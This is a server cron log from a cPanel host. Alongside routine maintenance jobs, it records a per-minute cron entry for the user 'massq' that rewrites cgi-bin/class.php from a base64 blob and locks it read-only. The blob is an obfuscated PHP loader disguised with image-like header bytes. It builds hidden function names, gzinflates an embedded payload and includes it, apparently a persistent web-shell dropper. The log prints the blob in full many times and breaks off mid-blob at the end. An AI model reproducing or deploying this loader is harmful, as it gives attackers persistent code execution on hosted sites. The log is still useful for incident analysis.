Sep 10 14:09:01 server CROND[23352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:10:01 server CROND[23747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:10:01 server CROND[23749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:10:01 server CROND[23751]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:10:01 server CROND[23752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:10:01 server CROND[23753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:10:01 server CROND[23754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:10:01 server CROND[23757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:10:01 server CROND[23756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:11:01 server CROND[24571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:11:01 server CROND[24572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:11:01 server CROND[24573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:12:01 server CROND[24938]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:12:01 server CROND[24939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:12:01 server CROND[24940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:12:01 server CROND[24941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:13:01 server CROND[25324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:13:01 server CROND[25325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:13:01 server CROND[25326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:14:01 server CROND[25796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:14:01 server CROND[25797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:14:01 server CROND[25799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:15:01 server CROND[26154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:15:01 server CROND[26156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:15:01 server CROND[26157]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:15:01 server CROND[26158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:15:01 server CROND[26159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:15:01 server CROND[26162]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:15:01 server CROND[26161]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 14:15:01 server CROND[26160]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 14:15:01 server CROND[26164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:16:01 server CROND[27023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:16:01 server CROND[27024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:16:01 server CROND[27025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:17:01 server CROND[27371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:17:01 server CROND[27374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:17:01 server CROND[27372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:18:01 server CROND[27729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:18:01 server CROND[27730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:18:01 server CROND[27731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:19:01 server CROND[28253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:19:01 server CROND[28254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:19:01 server CROND[28255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:20:01 server CROND[28641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:20:01 server CROND[28642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:20:01 server CROND[28645]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:20:01 server CROND[28644]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:20:01 server CROND[28647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:20:01 server CROND[28648]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:20:01 server CROND[28650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:20:01 server CROND[28651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:20:01 server CROND[28653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:21:01 server CROND[29457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5S